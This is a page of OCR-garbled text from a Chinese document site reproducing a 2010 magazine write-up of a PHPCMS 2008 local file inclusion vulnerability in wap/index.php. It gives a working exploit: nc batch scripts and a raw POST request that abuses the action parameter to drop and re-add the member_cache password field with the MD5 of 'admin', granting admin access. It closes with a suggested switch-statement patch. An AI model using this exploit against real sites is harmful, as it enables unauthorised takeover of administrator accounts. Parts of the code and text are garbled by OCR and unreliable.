PHPCMS整站系统漏洞分析_第1页
PHPCMS整站系统漏洞分析_第2页
PHPCMS整站系统漏洞分析_第3页
PHPCMS整站系统漏洞分析_第4页
PHPCMS整站系统漏洞分析_第5页
已阅读5页,还剩1页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、PHPCMS整站系统漏洞分析(原始稿件,已发表于2010年黑客手册第一季)(廖坚先)Bykid广东科干今天要跟大家分享这个漏洞是版本为phpcms2008SP3 _gbk_20100125的整站系统的,这 是个包含漏洞。立刻进正题,最后再总结分析;漏洞还是出现在最容易被忽视的wap模块,打开wap文件夹下的index.php文件,关键 代码如下:include ./include/common.inc.php;include ./include/global.func.php;$lang = include ./include/lang.inc.php;if(preg_match(/(mozi

2、lla|m3gate|winwap|openwave)/i, $_SERVERHTTP_USER_AGENT)( 这里检查浏览器是否为手机的,但是可以伪造HTTP_USER_AGENT绕过header(location:./);wmlHeader($PHPCMSsitename);$action = isset($action) & !empty($action) ? $action : index;if($action)include ./include/.$action.inc.php; /重点第14行也就是“include./include/.$action.inc.php;”,程序员很

3、放心的直接把用户提交 的$action变量放进了包含文件的路径中,虽然后缀被限制成“.inc.php”,但是有没有想过管 理员的管理模块的文件也是后缀为“ .inc.php”的呢?而且很多这些模块文件都是用常量 “IN_PHPCMS ”作为防止直接访问的标识,同时管理员的管理模块的访问权限的检查是在 整站根目录的admin.php文件进行的,那样我也就可以放心的包含了。还有一点值得高兴的 是因为是“变异”的包含文件所以有的变量是没有初始化的也就是我们可以控制了。但杯 具”的是很多模块的功能小模块是通过“switch($action)”来运行的,也就是这类型的文件 我们只能找“ default

4、”语句块来利用了。经过双手都数不清双击打开文件检查,找到了一个不算完美的利用方法。可以包含的 文件是“include/fields/box/field_add.inc.php 和 field_delete.inc.php”,“fields” 下的文件都是 对表中的字段操作的文件。这次要进行操作的字段是“phpcms_member_cache”表(PS :这 个表是phpcms_member的镜像表,真搞不懂为什么要搞出这个表来)中的“password”字 段。为什么我会说不完美呢,因为是操作的是password字段,不是一个记录,但是却可以 达到进入管理后台的目的field_add.inc.p

5、hp和field_delete.inc.php关键代码如下:field_add.inc.phpquery($sql);?field_delete.inc.phpquery($sql);?接下来说我的思路,首先是通过“field_delete.inc.php”删掉password字段,然后再通 过“field_add.inc.php”添加一个默认值为admin的MD5值的password字段,这样所有的记 录的password都是admin 了(很郁闷吧),不过最后还是可以把“phpcms_member”重新复 制到 “phpcms_member_cache ”表中的。实践是检验真理的唯一标准。

6、实践用的是“phpcms2008sp3_gbk_091230”,但打过“phpcms2008_patch_gbk_100125”补丁。实践要用到的文件如图一:首先运行“ drop_cache_password.bat ”删掉删掉 password字段,相关文件 “drop_cache_password.bat”(内容如图二)和“drop.txt”(内容如图三)。drop_cache_password.bat - 本 如囹二 文件(F) 编辑任)格式(O) 查看(V) 帮助(H)echo按任意键删除member_cache表password字段!pausenc 127. 0. 0. 1 82 K

7、fDOCTVPE wml PUBLIC -/WAPFORUMZ/DTD WML 1.3/ http:Z/DTD .1.xmlkwmlK/headkcard id = Rphpc ns Um 1r tit le = TlipcmsMkpk s ma 11 Po we re d by Phpcms2008k/pk/cardk/wml接下来运行“add_cache_password.bat”,相关文件“add_cache_password.bat”(内容如图五)和“ add.txt”(内容如图六)。_| add_cache_passv7ord.bat -文件(F)牌E)假(O)查看(V)落助(H)|

8、echo按任意键添加member_cache表password字段!pausenc 127. 0. 0. 1 82 add. txt如图五| add .txt -记事本 文#(B 桐帆(0) 兼GO 帮助POST /phpcms2008sp3_gbk_091230/wap/index, php HTTP/1.1Accept: image/jpeg, app1ication/x-ms-app1ication, image/gif, application/xaml +xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-

9、flash, Iapplication/msword, application/vnd. ms-excel, application/vnd. ms-powerpoint,Referer: bykidAccept-Language: zh-CN图六Content-Type: application/x-www-form-ur1encodedAccept-Encoding: gzip, deflateUser-Agent: Mozilbykidla/4. 0 (compatible: MSIE 7. 0; Windows NT 6.1;Trident/4. 0: SLCC2; .NET CLR

10、2.0. 50727; .NET CLR 3.5.30729; .NET CLR3.0.30729; Media Center PC 6. 0; MAXTHON 2. 0)Host: localhost:82Content-Length: 160Connection: Keep-AliveCache-Control: no-cacheaction=. /. . /include/f ields/box/f ield_add&tablename=phpcms_member_cache&f ield= password&fieldtype=char&maxlength-32&defaultvalu

11、e=21232f297a57a5a743894a0e4a80 lfc3“add.txt”增加提交了变量fieldtype(字段的类型),maxlength(类型的最大长度),defaultvalue (默认值),执行之后如图七表明成功。现在看看表“phpcms_member_cache”有没有被改掉,如图八:最后上传“recoverCache.php”到 phpcms 的根目录恢复 “phpcms_member_cache”表。如图九运行成功:再看看“ phpcms_member_cache ”表如图十:漏洞的修补,最简单的修补方法是也用switch($action)语句,毕竟wap下要包含的

12、文件 就四个;修改后的代码如下(PS:代码没有测试,短短几个语句我觉得是没问题的):?phpinclude ./include/common.inc.php;include ./include/global.func.php;$lang = include ./include/lang.inc.php;if(preg_match(/(mozillalm3gatelwinwaplopenwave)/i, $_SERVERHTTP_USER_AGENT)header(location:./);wmlHeader($PHPCMSsitename);$action = isset($action) & !empty($action) ? $action : index;switch($action) /修改后代码-开始case index:include ./include/index.inc.php;case list:include ./include/list.inc.php;case show_info:include ./include/show_info.inc.php;case show_news:inclu

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论